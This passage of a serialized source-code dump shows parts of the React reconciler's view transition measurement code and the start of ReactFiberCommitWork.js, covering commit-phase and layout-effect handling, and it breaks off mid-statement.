stopAtNestedViewTransitions: boolean,\n): boolean {\n  if (!supportsMutation) {\n    if (enableViewTransitionForPersistenceMode) {\n      while (child !== null) {\n        if (child.tag === HostComponent) {\n          const instance: Instance = child.stateNode;\n          if (\n            previousMeasurements == null ||\n            viewTransitionHostInstanceIdx >= previousMeasurements.length\n          ) {\n            // If there was an insertion of extra nodes, we have to assume they affected the parent.\n            // It should have already been marked as an Update due to the mutation.\n            parentViewTransition.flags |= AffectedParentLayout;\n          }\n          // TODO: check if instance is out of viewport\n          if ((parentViewTransition.flags & Update) !== NoFlags) {\n            applyViewTransitionName(\n              instance,\n              viewTransitionHostInstanceIdx === 0\n                ? newName\n                : newName + '_' + viewTransitionHostInstanceIdx,\n              className,\n            );\n          }\n          // TODO: cancel transition by pushing into viewTransitionCancelableChildren\n          viewTransitionHostInstanceIdx++;\n        } else if (\n          child.tag === OffscreenComponent &&\n          child.memoizedState !== null\n        ) {\n          // Skip any hidden subtrees. They were or are effectively not there.\n        } else if (\n          child.tag === ViewTransitionComponent &&\n          stopAtNestedViewTransitions\n        ) {\n          // Skip any nested view transitions for updates since in that case the\n          // inner most one is the one that handles the update.\n          // If this inner boundary resized we need to bubble that information up.\n          parentViewTransition.flags |= child.flags & AffectedParentLayout;\n        } else {\n          measureViewTransitionHostInstancesRecursive(\n            parentViewTransition,\n            child.child,\n            newName,\n            oldName,\n            className,\n            previousMeasurements,\n            stopAtNestedViewTransitions,\n          );\n        }\n        child = child.sibling;\n      }\n      return true;\n    } else {\n      return false;\n    }\n  }\n  let inViewport = false;\n  while (child !== null) {\n    if (child.tag === HostComponent) {\n      const instance: Instance = child.stateNode;\n      if (\n        previousMeasurements !== null &&\n        viewTransitionHostInstanceIdx < previousMeasurements.length\n      ) {\n        // The previous measurement of the Instance in this location within the ViewTransition.\n        // Note that this might not be the same exact Instance if the Instances within the\n        // ViewTransition changed.\n        const previousMeasurement =\n          previousMeasurements[viewTransitionHostInstanceIdx];\n        const nextMeasurement = measureInstance(instance);\n        if (\n          wasInstanceInViewport(previousMeasurement) ||\n          wasInstanceInViewport(nextMeasurement)\n        ) {\n          // If either the old or new state was within the viewport we have to animate this.\n          // But if it turns out that none of them were we'll be able to skip it.\n          inViewport = true;\n        }\n        if (\n          (parentViewTransition.flags & Update) === NoFlags &&\n          hasInstanceChanged(previousMeasurement, nextMeasurement)\n        ) {\n          parentViewTransition.flags |= Update;\n        }\n        if (hasInstanceAffectedParent(previousMeasurement, nextMeasurement)) {\n          // If this instance size within its parent has changed it might have caused the\n          // parent to relayout which needs a cross fade.\n          parentViewTransition.flags |= AffectedParentLayout;\n        }\n      } else {\n        // If there was an insertion of extra nodes, we have to assume they affected the parent.\n        // It should have already been marked as an Update due to the mutation.\n        parentViewTransition.flags |= AffectedParentLayout;\n      }\n      if ((parentViewTransition.flags & Update) !== NoFlags) {\n        // We might update this node so we need to apply its new name for the new state.\n        // Additionally in the ApplyGesture case we also need to do this because the clone\n        // will have the name but this one won't.\n        applyViewTransitionName(\n          instance,\n          viewTransitionHostInstanceIdx === 0\n            ? newName\n            : // If we have multiple Host Instances below, we add a suffix to the name to give\n              // each one a unique name.\n              newName + '_' + viewTransitionHostInstanceIdx,\n          className,\n        );\n      }\n      if (!inViewport || (parentViewTransition.flags & Update) === NoFlags) {\n        // It turns out that we had no other deeper mutations, the child transitions didn't\n        // affect the parent layout and this instance hasn't changed size. So we can skip\n        // animating it. However, in the current model this only works if the parent also\n        // doesn't animate. So we have to queue these and wait until we complete the parent\n        // to cancel them.\n        if (viewTransitionCancelableChildren === null) {\n          viewTransitionCancelableChildren = [];\n        }\n        viewTransitionCancelableChildren.push(\n          instance,\n          viewTransitionHostInstanceIdx === 0\n            ? oldName\n            : // If we have multiple Host Instances below, we add a suffix to the name to give\n              // each one a unique name.\n              oldName + '_' + viewTransitionHostInstanceIdx,\n          child.memoizedProps,\n        );\n      }\n      viewTransitionHostInstanceIdx++;\n    } else if (\n      child.tag === OffscreenComponent &&\n      child.memoizedState !== null\n    ) {\n      // Skip any hidden subtrees. They were or are effectively not there.\n    } else if (\n      child.tag === ViewTransitionComponent &&\n      stopAtNestedViewTransitions\n    ) {\n      // Skip any nested view transitions for updates since in that case the\n      // inner most one is the one that handles the update.\n      // If this inner boundary resized we need to bubble that information up.\n      parentViewTransition.flags |= child.flags & AffectedParentLayout;\n    } else {\n      if (\n        measureViewTransitionHostInstancesRecursive(\n          parentViewTransition,\n          child.child,\n          newName,\n          oldName,\n          className,\n          previousMeasurements,\n          stopAtNestedViewTransitions,\n        )\n      ) {\n        inViewport = true;\n      }\n    }\n    child = child.sibling;\n  }\n  return inViewport;\n}\n\nexport function measureUpdateViewTransition(\n  current: Fiber,\n  finishedWork: Fiber,\n  gesture: boolean,\n): boolean {\n  // If this was a gesture then which Fiber was used for the \"old\" vs \"new\" state is reversed.\n  // We still need to treat \"finishedWork\" as the Fiber that contains the flags for this commmit.\n  const oldFiber = gesture ? finishedWork : current;\n  const newFiber = gesture ? current : finishedWork;\n  const props: ViewTransitionProps = newFiber.memoizedProps;\n  const state: ViewTransitionState = newFiber.stateNode;\n  const newName = getViewTransitionName(props, state);\n  const oldName = getViewTransitionName(oldFiber.memoizedProps, state);\n  // Whether it ends up having been updated or relayout we apply the update class name.\n  const className: ?string = getViewTransitionClassName(\n    props.default,\n    props.update,\n  );\n  if (className === 'none') {\n    // If update is \"none\" then we don't have to apply a name. Since we won't animate this boundary.\n    return false;\n  }\n  // If nothing changed due to a mutation, or children changing size\n  // and the measurements end up unchanged, we should restore it to not animate.\n  let previousMeasurements: null | Array<InstanceMeasurement>;\n  if (gesture) {\n    const clones = state.clones;\n    if (clones === null) {\n      previousMeasurements = null;\n    } else {\n      previousMeasurements = clones.map(measureClonedInstance);\n    }\n  } else {\n    previousMeasurements = oldFiber.memoizedState;\n    oldFiber.memoizedState = null; // Clear it. We won't need it anymore.\n  }\n  const inViewport = measureViewTransitionHostInstances(\n    finishedWork, // This is always finishedWork since it's used to assign flags.\n    newFiber.child, // This either current or finishedWork depending on if was a gesture.\n    newName,\n    oldName,\n    className,\n    previousMeasurements,\n    true,\n  );\n  const previousCount =\n    previousMeasurements === null ? 0 : previousMeasurements.length;\n  if (viewTransitionHostInstanceIdx !== previousCount) {\n    // If we found a different number of child DOM nodes we need to assume that\n    // the parent layout may have changed as a result. This is not necessarily\n    // true if those nodes were absolutely positioned.\n    finishedWork.flags |= AffectedParentLayout;\n  }\n  return inViewport;\n}\n\nexport function measureNestedViewTransitions(\n  changedParent: Fiber,\n  gesture: boolean,\n): void {\n  let child = changedParent.child;\n  while (child !== null) {\n    if (child.tag === ViewTransitionComponent) {\n      const props: ViewTransitionProps = child.memoizedProps;\n      const state: ViewTransitionState = child.stateNode;\n      const name = getViewTransitionName(props, state);\n      const className: ?string = getViewTransitionClassName(\n        props.default,\n        props.update,\n      );\n      let previousMeasurements: null | Array<InstanceMeasurement>;\n      if (gesture) {\n        const clones = state.clones;\n        if (clones === null) {\n          previousMeasurements = null;\n        } else {\n          previousMeasurements = clones.map(measureClonedInstance);\n        }\n      } else {\n        previousMeasurements = child.memoizedState;\n        child.memoizedState = null; // Clear it. We won't need it anymore.\n      }\n      const inViewport = measureViewTransitionHostInstances(\n        child,\n        child.child,\n        name,\n        name, // Since this is unchanged, new and old name is the same.\n        className,\n        previousMeasurements,\n        false,\n      );\n      if ((child.flags & Update) === NoFlags || !inViewport) {\n        // Nothing changed.\n      } else {\n        if (gesture) {\n          scheduleGestureTransitionEvent(child, props.onGestureUpdate);\n        } else {\n          scheduleViewTransitionEvent(child, props.onUpdate);\n        }\n      }\n    } else if ((child.subtreeFlags & ViewTransitionStatic) !== NoFlags) {\n      measureNestedViewTransitions(child, gesture);\n    }\n    child = child.sibling;\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberCommitWork.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Instance,\n  TextInstance,\n  ActivityInstance,\n  SuspenseInstance,\n  Container,\n  HoistableRoot,\n  FormInstance,\n  Props,\n  SuspendedState,\n} from './ReactFiberConfig';\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {Lanes} from './ReactFiberLane';\nimport {\n  includesLoadingIndicatorLanes,\n  includesOnlySuspenseyCommitEligibleLanes,\n  includesOnlyViewTransitionEligibleLanes,\n} from './ReactFiberLane';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {SuspenseState, RetryQueue} from './ReactFiberSuspenseComponent';\nimport type {UpdateQueue} from './ReactFiberClassUpdateQueue';\nimport type {FunctionComponentUpdateQueue} from './ReactFiberHooks';\nimport type {Wakeable, ViewTransitionProps} from 'shared/ReactTypes';\nimport type {\n  OffscreenState,\n  OffscreenInstance,\n  OffscreenQueue,\n} from './ReactFiberOffscreenComponent';\nimport type {Cache} from './ReactFiberCacheComponent';\nimport type {RootState} from './ReactFiberRoot';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport type {\n  TracingMarkerInstance,\n  TransitionAbort,\n} from './ReactFiberTracingMarkerComponent';\nimport type {ViewTransitionState} from './ReactFiberViewTransitionComponent';\n\nimport {\n  alwaysThrottleRetries,\n  enableCreateEventHandleAPI,\n  enableEffectEventMutationPhase,\n  enableProfilerTimer,\n  enableProfilerCommitHooks,\n  enableSuspenseCallback,\n  enableScopeAPI,\n  enableUpdaterTracking,\n  enableTransitionTracing,\n  enableLegacyHidden,\n  disableLegacyMode,\n  enableComponentPerformanceTrack,\n  enableViewTransition,\n  enableFragmentRefs,\n  enableEagerAlternateStateNodeCleanup,\n  enableDefaultTransitionIndicator,\n  enableFragmentRefsTextNodes,\n} from 'shared/ReactFeatureFlags';\nimport {\n  FunctionComponent,\n  ForwardRef,\n  ClassComponent,\n  HostRoot,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  HostText,\n  HostPortal,\n  Profiler,\n  ActivityComponent,\n  SuspenseComponent,\n  DehydratedFragment,\n  IncompleteClassComponent,\n  MemoComponent,\n  SimpleMemoComponent,\n  SuspenseListComponent,\n  ScopeComponent,\n  OffscreenComponent,\n  LegacyHiddenComponent,\n  CacheComponent,\n  TracingMarkerComponent,\n  ViewTransitionComponent,\n  Fragment,\n} from './ReactWorkTags';\nimport {\n  NoFlags,\n  ContentReset,\n  Placement,\n  ChildDeletion,\n  Snapshot,\n  Update,\n  Hydrate,\n  Callback,\n  Ref,\n  Hydrating,\n  Passive,\n  BeforeMutationMask,\n  BeforeAndAfterMutationTransitionMask,\n  MutationMask,\n  LayoutMask,\n  PassiveMask,\n  PassiveTransitionMask,\n  Visibility,\n  ShouldSuspendCommit,\n  MaySuspendCommit,\n  FormReset,\n  Cloned,\n  PerformedWork,\n  ForceClientRender,\n  DidCapture,\n  AffectedParentLayout,\n  ViewTransitionNamedStatic,\n  PortalStatic,\n} from './ReactFiberFlags';\nimport {\n  commitStartTime,\n  pushNestedEffectDurations,\n  popNestedEffectDurations,\n  bubbleNestedEffectDurations,\n  resetComponentEffectTimers,\n  pushComponentEffectStart,\n  popComponentEffectStart,\n  pushComponentEffectDuration,\n  popComponentEffectDuration,\n  pushComponentEffectErrors,\n  popComponentEffectErrors,\n  pushComponentEffectDidSpawnUpdate,\n  popComponentEffectDidSpawnUpdate,\n  componentEffectStartTime,\n  componentEffectEndTime,\n  componentEffectDuration,\n  componentEffectErrors,\n  componentEffectSpawnedUpdate,\n} from './ReactProfilerTimer';\nimport {\n  logComponentRender,\n  logComponentErrored,\n  logComponentEffect,\n  logComponentMount,\n  logComponentUnmount,\n  logComponentReappeared,\n  logComponentDisappeared,\n  pushDeepEquality,\n  popDeepEquality,\n} from './ReactFiberPerformanceTrack';\nimport {ConcurrentMode, NoMode, ProfileMode} from './ReactTypeOfMode';\nimport {deferHiddenCallbacks} from './ReactFiberClassUpdateQueue';\nimport {\n  supportsMutation,\n  supportsPersistence,\n  supportsHydration,\n  supportsResources,\n  supportsSingletons,\n  clearSuspenseBoundary,\n  clearSuspenseBoundaryFromContainer,\n  createContainerChildSet,\n  clearContainer,\n  prepareScopeUpdate,\n  prepareForCommit,\n  beforeActiveInstanceBlur,\n  detachDeletedInstance,\n  getHoistableRoot,\n  acquireResource,\n  releaseResource,\n  hydrateHoistable,\n  mountHoistable,\n  unmountHoistable,\n  prepareToCommitHoistables,\n  maySuspendCommitInSyncRender,\n  suspendInstance,\n  suspendResource,\n  resetFormInstance,\n  registerSuspenseInstanceRetry,\n  cancelViewTransitionName,\n  cancelRootViewTransitionName,\n  restoreRootViewTransitionName,\n  isSingletonScope,\n  updateFragmentInstanceFiber,\n} from './ReactFiberConfig';\nimport {\n  captureCommitPhaseError,\n  resolveRetryWakeable,\n  markCommitTimeOfFallback,\n  restorePendingUpdaters,\n  addTransitionStartCallbackToPendingTransition,\n  addTransitionProgressCallbackToPendingTransition,\n  addTransitionCompleteCallbackToPendingTransition,\n  addMarkerProgressCallbackToPendingTransition,\n  addMarkerIncompleteCallbackToPendingTransition,\n  addMarkerCompleteCallbackToPendingTransition,\n  retryDehydratedSuspenseBoundary,\n  scheduleViewTransitionEvent,\n} from './ReactFiberWorkLoop';\nimport {\n  HasEffect as HookHasEffect,\n  Layout as HookLayout,\n  Insertion as HookInsertion,\n  Passive as HookPassive,\n} from './ReactHookEffectTags';\nimport {doesFiberContain} from './ReactFiberTreeReflection';\nimport {isDevToolsPresent, onCommitUnmount} from './ReactFiberDevToolsHook';\nimport {releaseCache, retainCache} from './ReactFiberCacheComponent';\nimport {clearTransitionsForLanes} from './ReactFiberLane';\nimport {\n  OffscreenVisible,\n  OffscreenPassiveEffectsConnected,\n} from './ReactFiberOffscreenComponent';\nimport {\n  TransitionRoot,\n  TransitionTracingMarker,\n} from './ReactFiberTracingMarkerComponent';\nimport {getViewTransitionClassName} from './ReactFiberViewTransitionComponent';\nimport {\n  commitHookLayoutEffects,\n  commitHookLayoutUnmountEffects,\n  commitHookEffectListMount,\n  commitHookEffectListUnmount,\n  commitHookPassiveMountEffects,\n  commitHookPassiveUnmountEffects,\n  commitClassLayoutLifecycles,\n  commitClassDidMount,\n  commitClassCallbacks,\n  commitClassHiddenCallbacks,\n  commitClassSnapshot,\n  safelyCallComponentWillUnmount,\n  safelyAttachRef,\n  safelyDetachRef,\n  commitProfilerUpdate,\n  commitProfilerPostCommit,\n  commitRootCallbacks,\n} from './ReactFiberCommitEffects';\nimport {\n  commitHostMount,\n  commitHostHydratedInstance,\n  commitHostUpdate,\n  commitHostTextUpdate,\n  commitHostResetTextContent,\n  commitShowHideSuspenseBoundary,\n  commitShowHideHostInstance,\n  commitShowHideHostTextInstance,\n  commitHostPlacement,\n  commitHostRootContainerChildren,\n  commitHostPortalContainerChildren,\n  commitHostHydratedContainer,\n  commitHostHydratedActivity,\n  commitHostHydratedSuspense,\n  commitHostRemoveChildFromContainer,\n  commitHostRemoveChild,\n  commitHostSingletonAcquisition,\n  commitHostSingletonRelease,\n  commitFragmentInstanceDeletionEffects,\n  commitFragmentInstanceInsertionEffects,\n} from './ReactFiberCommitHostEffects';\nimport {\n  trackEnterViewTransitions,\n  commitEnterViewTransitions,\n  commitExitViewTransitions,\n  commitBeforeUpdateViewTransition,\n  commitNestedViewTransitions,\n  restoreEnterOrExitViewTransitions,\n  restoreUpdateViewTransition,\n  restoreNestedViewTransitions,\n  measureUpdateViewTransition,\n  measureNestedViewTransitions,\n  resetAppearingViewTransitions,\n  trackAppearingViewTransition,\n  viewTransitionCancelableChildren,\n  pushViewTransitionCancelableScope,\n  popViewTransitionCancelableScope,\n} from './ReactFiberCommitViewTransitions';\nimport {\n  viewTransitionMutationContext,\n  pushRootMutationContext,\n  pushMutationContext,\n  popMutationContext,\n  rootMutationContext,\n} from './ReactFiberMutationTracking';\nimport {\n  trackNamedViewTransition,\n  untrackNamedViewTransition,\n} from './ReactFiberDuplicateViewTransitions';\nimport {markIndicatorHandled} from './ReactFiberRootScheduler';\nimport type {Flags} from './ReactFiberFlags';\n\n// Used during the commit phase to track the state of the Offscreen component stack.\n// Allows us to avoid traversing the return path to find the nearest Offscreen ancestor.\nlet offscreenSubtreeIsHidden: boolean = false;\nlet offscreenSubtreeWasHidden: boolean = false;\n// Track whether there's a hidden offscreen above with no HostComponent between. If so,\n// it overrides the hiddenness of the HostComponent below.\nlet offscreenDirectParentIsHidden: boolean = false;\n\n// Used to track if a form needs to be reset at the end of the mutation phase.\nlet needsFormReset = false;\n\nconst PossiblyWeakSet = typeof WeakSet === 'function' ? WeakSet : Set;\n\nlet nextEffect: Fiber | null = null;\n\n// Used for Profiling builds to track updaters.\nlet inProgressLanes: Lanes | null = null;\nlet inProgressRoot: FiberRoot | null = null;\n\nlet focusedInstanceHandle: null | Fiber = null;\nexport let shouldFireAfterActiveInstanceBlur: boolean = false;\n\n// Used during the commit phase to track whether a parent ViewTransition component\n// might have been affected by any mutations / relayouts below.\nlet viewTransitionContextChanged: boolean = false;\nlet inUpdateViewTransition: boolean = false;\nlet rootViewTransitionAffected: boolean = false;\nlet rootViewTransitionNameCanceled: boolean = false;\n\nfunction isHydratingParent(current: Fiber, finishedWork: Fiber): boolean {\n  if (finishedWork.tag === ActivityComponent) {\n    const prevState: ActivityState | null = current.memoizedState;\n    const nextState: ActivityState | null = finishedWork.memoizedState;\n    return prevState !== null && nextState === null;\n  } else if (finishedWork.tag === SuspenseComponent) {\n    const prevState: SuspenseState | null = current.memoizedState;\n    const nextState: SuspenseState | null = finishedWork.memoizedState;\n    return (\n      prevState !== null &&\n      prevState.dehydrated !== null &&\n      (nextState === null || nextState.dehydrated === null)\n    );\n  } else if (finishedWork.tag === HostRoot) {\n    return (\n      (current.memoizedState: RootState).isDehydrated &&\n      (finishedWork.flags & ForceClientRender) === NoFlags\n    );\n  } else {\n    return false;\n  }\n}\n\nexport function commitBeforeMutationEffects(\n  root: FiberRoot,\n  firstChild: Fiber,\n  committedLanes: Lanes,\n): void {\n  focusedInstanceHandle = prepareForCommit(root.containerInfo);\n  shouldFireAfterActiveInstanceBlur = false;\n\n  const isViewTransitionEligible =\n    enableViewTransition &&\n    includesOnlyViewTransitionEligibleLanes(committedLanes);\n\n  nextEffect = firstChild;\n  commitBeforeMutationEffects_begin(isViewTransitionEligible);\n\n  // We no longer need to track the active instance fiber\n  focusedInstanceHandle = null;\n  // We've found any matched pairs and can now reset.\n  resetAppearingViewTransitions();\n}\n\nfunction commitBeforeMutationEffects_begin(isViewTransitionEligible: boolean) {\n  // If this commit is eligible for a View Transition we look into all mutated subtrees.\n  // TODO: We could optimize this by marking these with the Snapshot subtree flag in the render phase.\n  const subtreeMask = isViewTransitionEligible\n    ? BeforeAndAfterMutationTransitionMask\n    : BeforeMutationMask;\n  while (nextEffect !== null) {\n    const fiber = nextEffect;\n\n    // This phase is only used for beforeActiveInstanceBlur.\n    // Let's skip the whole loop if it's off.\n    if (enableCreateEventHandleAPI || isViewTransitionEligible) {\n      // TODO: Should wrap this in flags check, too, as optimization\n      const deletions = fiber.deletions;\n      if (deletions !== null) {\n        for (let i = 0; i < deletions.length; i++) {\n          const deletion = deletions[i];\n          commitBeforeMutationEffectsDeletion(\n            deletion,\n            isViewTransitionEligible,\n          );\n        }\n      }\n    }\n\n    if (\n      enableViewTransition &&\n      fiber.alternate === null &&\n      (fiber.flags & Placement) !== NoFlags\n    ) {\n      // Skip before mutation effects of the children because we don't want\n      // to trigger updates of any nested view transitions and we shouldn't\n      // have any other before mutation effects since snapshot effects are\n      // only applied to updates. TODO: Model this using only flags.\n      if (isViewTransitionEligible) {\n        trackEnterViewTransitions(fiber);\n      }\n      commitBeforeMutationEffects_complete(isViewTransitionEligible);\n      continue;\n    }\n\n    // TODO: This should really unify with the switch in commitBeforeMutationEffectsOnFiber recursively.\n    if (enableViewTransition && fiber.tag === OffscreenComponent) {\n      const isModernRoot =\n        disableLegacyMode || (fiber.mode & ConcurrentMode) !== NoMode;\n      if (isModernRoot) {\n        const current = fiber.alternate;\n        const isHidden = fiber.memoizedState !== null;\n        if (isHidden) {\n          if (\n            current !== null &&\n            current.memoizedState === null &&\n            isViewTransitionEligible\n          ) {\n            // Was previously mounted as visible but is now hidden.\n            commitExitViewTransitions(current);\n          }\n          // Skip before mutation effects of the children because they're hidden.\n          commitBeforeMutationEffects_complete(isViewTransitionEligible);\n          continue;\n        } else if (current !== null && current.memoizedState !== null) {\n          // Was previously mounted as hidden but is now visible.\n          // Skip before mutation effects of the children because we don't want\n          // to trigger updates of any nested view transitions and we shouldn't\n          // have any other before mutation effects since snapshot effects are\n          // only applied to updates. TODO: Model this using only flags.\n          if (isViewTransitionEligible) {\n            trackEnterViewTransitions(fiber);\n          }\n          commitBeforeMutationEffects_complete(isViewTransitionEligible);\n          continue;\n        }\n      }\n    }\n\n    const child = fiber.child;\n    if ((fiber.subtreeFlags & subtreeMask) !== NoFlags && child !== null) {\n      child.return = fiber;\n      nextEffect = child;\n    } else {\n      if (isViewTransitionEligible) {\n        // We are inside an updated subtree. Any mutations that affected the\n        // parent HostInstance's layout or set of children (such as reorders)\n        // might have also affected the positioning or size of the inner\n        // ViewTransitions. Therefore we need to find them inside.\n        commitNestedViewTransitions(fiber);\n      }\n      commitBeforeMutationEffects_complete(isViewTransitionEligible);\n    }\n  }\n}\n\nfunction commitBeforeMutationEffects_complete(\n  isViewTransitionEligible: boolean,\n) {\n  while (nextEffect !== null) {\n    const fiber = nextEffect;\n    commitBeforeMutationEffectsOnFiber(fiber, isViewTransitionEligible);\n\n    const sibling = fiber.sibling;\n    if (sibling !== null) {\n      sibling.return = fiber.return;\n      nextEffect = sibling;\n      return;\n    }\n\n    nextEffect = fiber.return;\n  }\n}\n\nfunction commitBeforeMutationEffectsOnFiber(\n  finishedWork: Fiber,\n  isViewTransitionEligible: boolean,\n) {\n  const current = finishedWork.alternate;\n  const flags = finishedWork.flags;\n\n  if (enableCreateEventHandleAPI) {\n    if (!shouldFireAfterActiveInstanceBlur && focusedInstanceHandle !== null) {\n      // Check to see if the focused element was inside of a hidden (Suspense) subtree.\n      // TODO: Move this out of the hot path using a dedicated effect tag.\n      // TODO: This should consider Offscreen in general and not just SuspenseComponent.\n      if (\n        finishedWork.tag === SuspenseComponent &&\n        isSuspenseBoundaryBeingHidden(current, finishedWork) &&\n        // $FlowFixMe[incompatible-call] found when upgrading Flow\n        doesFiberContain(finishedWork, focusedInstanceHandle)\n      ) {\n        shouldFireAfterActiveInstanceBlur = true;\n        beforeActiveInstanceBlur(finishedWork);\n      }\n    }\n  }\n\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      if (!enableEffectEventMutationPhase && (flags & Update) !== NoFlags) {\n        const updateQueue: FunctionComponentUpdateQueue | null =\n          (finishedWork.updateQueue: any);\n        const eventPayloads = updateQueue !== null ? updateQueue.events : null;\n        if (eventPayloads !== null) {\n          for (let ii = 0; ii < eventPayloads.length; ii++) {\n            const {ref, nextImpl} = eventPayloads[ii];\n            ref.impl = nextImpl;\n          }\n        }\n      }\n      break;\n    }\n    case ClassComponent: {\n      if ((flags & Snapshot) !== NoFlags) {\n        if (current !== null) {\n          commitClassSnapshot(finishedWork, current);\n        }\n      }\n      break;\n    }\n    case HostRoot: {\n      if ((flags & Snapshot) !== NoFlags) {\n        if (supportsMutation) {\n          const root = finishedWork.stateNode;\n          clearContainer(root.containerInfo);\n        }\n      }\n      break;\n    }\n    case HostComponent:\n    case HostHoistable:\n    case HostSingleton:\n    case HostText:\n    case HostPortal:\n    case IncompleteClassComponent:\n      // Nothing to do for these component types\n      break;\n    case ViewTransitionComponent:\n      if (enableViewTransition) {\n        if (isViewTransitionEligible) {\n          if (current === null) {\n            // This is a new mount. We should have handled this as part of the\n            // Placement effect or it is deeper inside a entering transition.\n          } else {\n            // Something may have mutated within this subtree. This might need to cause\n            // a cross-fade of this parent. We first assign old names to the\n            // previous tree in the before mutation phase in case we need to.\n            // TODO: This walks the tree that we might continue walking anyway.\n            // We should just stash the parent ViewTransitionComponent and continue\n            // walking the tree until we find HostComponent but to do that we need\n            // to use a stack which requires refactoring this phase.\n            commitBeforeUpdateViewTransition(current, finishedWork);\n          }\n        }\n        break;\n      }\n    // Fallthrough\n    default: {\n      if ((flags & Snapshot) !== NoFlags) {\n        throw new Error(\n          'This unit of work tag should not have side-effects. This error is ' +\n            'likely caused by a bug in React. Please file an issue.',\n        );\n      }\n    }\n  }\n}\n\nfunction commitBeforeMutationEffectsDeletion(\n  deletion: Fiber,\n  isViewTransitionEligible: boolean,\n) {\n  if (enableCreateEventHandleAPI) {\n    // TODO (effects) It would be nice to avoid calling doesFiberContain()\n    // Maybe we can repurpose one of the subtreeFlags positions for this instead?\n    // Use it to store which part of the tree the focused instance is in?\n    // This assumes we can safely determine that instance during the \"render\" phase.\n    if (doesFiberContain(deletion, ((focusedInstanceHandle: any): Fiber))) {\n      shouldFireAfterActiveInstanceBlur = true;\n      beforeActiveInstanceBlur(deletion);\n    }\n  }\n  if (isViewTransitionEligible) {\n    commitExitViewTransitions(deletion);\n  }\n}\n\nfunction commitLayoutEffectOnFiber(\n  finishedRoot: FiberRoot,\n  current: Fiber | null,\n  finishedWork: Fiber,\n  committedLanes: Lanes,\n): void {\n  const prevEffectStart = pushComponentEffectStart();\n  const prevEffectDuration = pushComponentEffectDuration();\n  const prevEffectErrors = pushComponentEffectErrors();\n  const prevEffectDidSpawnUpdate = pushComponentEffectDidSpawnUpdate();\n  // When updating this function, also update reappearLayoutEffects, which does\n  // most of the same things when an offscreen tree goes from hidden -> visible.\n  const flags = finishedWork.flags;\n  switch (finishedWork.tag) {\n    case FunctionComponent:\n    case ForwardRef:\n    case SimpleMemoComponent: {\n      recursivelyTraverseLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n      );\n      if (flags & Update) {\n        commitHookLayoutEffects(finishedWork, HookLayout | HookHasEffect);\n      }\n      break;\n    }\n    case ClassComponent: {\n      recursivelyTraverseLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n      );\n      if (flags & Update) {\n        commitClassLayoutLifecycles(finishedWork, current);\n      }\n\n      if (flags & Callback) {\n        commitClassCallbacks(finishedWork);\n      }\n\n      if (flags & Ref) {\n        safelyAttachRef(finishedWork, finishedWork.return);\n      }\n      break;\n    }\n    case HostRoot: {\n      const prevProfilerEffectDuration = pushNestedEffectDurations();\n      recursivelyTraverseLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n      );\n      if (flags & Callback) {\n        commitRootCallbacks(finishedWork);\n      }\n      if (enableProfilerTimer && enableProfilerCommitHooks) {\n        finishedRoot.effectDuration += popNestedEffectDurations(\n          prevProfilerEffectDuration,\n        );\n      }\n      break;\n    }\n    case HostSingleton: {\n      if (supportsSingletons) {\n        // We acquire the singleton instance first so it has appropriate\n        // styles before other layout effects run. This isn't perfect because\n        // an early sibling of the singleton may have an effect that can\n        // observe the singleton before it is acquired.\n        // @TODO move this to the mutation phase. The reason it isn't there yet\n        // is it seemingly requires an extra traversal because we need to move the\n        // disappear effect into a phase before the appear phase\n        if (current === null && flags & Update) {\n          // Unlike in the reappear path we only acquire on new mount\n          commitHostSingletonAcquisition(finishedWork);\n        }\n        // We fall through to the HostComponent case below.\n      }\n      // Fallthrough\n    }\n    case HostHoistable:\n    case HostComponent: {\n      recursivelyTraverseLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n      );\n\n      // Renderers may schedule work to be done after host components are mounted\n      // (eg DOM renderer may schedule auto-focus for inputs and form controls).\n      // These effects should only be committed when components are first mounted,\n      // aka when there is no current/alternate.\n      if (current === null) {\n        if (flags & Update) {\n          commitHostMount(finishedWork);\n        } else if (flags & Hydrate) {\n          commitHostHydratedInstance(finishedWork);\n        }\n      }\n\n      if (flags & Ref) {\n        safelyAttachRef(finishedWork, finishedWork.return);\n      }\n      break;\n    }\n    case Profiler: {\n      // TODO: Should this fire inside an offscreen tree? Or should it wait to\n      // fire when the tree becomes visible again.\n      if (flags & Update) {\n        const prevProfilerEffectDuration = pushNestedEffectDurations();\n\n        recursivelyTraverseLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n        );\n\n        const profilerInstance = finishedWork.stateNode;\n\n        if (enableProfilerTimer && enableProfilerCommitHooks) {\n          // Propagate layout effect durations to the next nearest Profiler ancestor.\n          // Do not reset these values until the next render so DevTools has a chance to read them first.\n          profilerInstance.effectDuration += bubbleNestedEffectDurations(\n            prevProfilerEffectDuration,\n          );\n        }\n\n        commitProfilerUpdate(\n          finishedWork,\n          current,\n          commitStartTime,\n          profilerInstance.effectDuration,\n        );\n      } else {\n        recursivelyTraverseLayoutEffects(\n          finishedRoot,\n          finishedWork,\n          committedLanes,\n        );\n      }\n      break;\n    }\n    case ActivityComponent: {\n      recursivelyTraverseLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n      );\n      if (flags & Update) {\n        commitActivityHydrationCallbacks(finishedRoot, finishedWork);\n      }\n      break;\n    }\n    case SuspenseComponent: {\n      recursivelyTraverseLayoutEffects(\n        finishedRoot,\n        finishedWork,\n        committedLanes,\n      );\n      if (flags & Update) {\n        commitSuspenseHydrationCallbacks(finishedRoot, finishedWork);\n      }\n      if (flags & Callback) {\n        // This Boundary is in fallback and has a dehydrated Suspense instance.\n        // We could in theory assume the dehydrated state but we recheck it for\n        // certainty.\n        const finishedState: SuspenseState | null = finishedWork.memoizedState;\n        if (finishedState !== null) {\n          const dehydrated = finishedState.dehydrated;\n          if 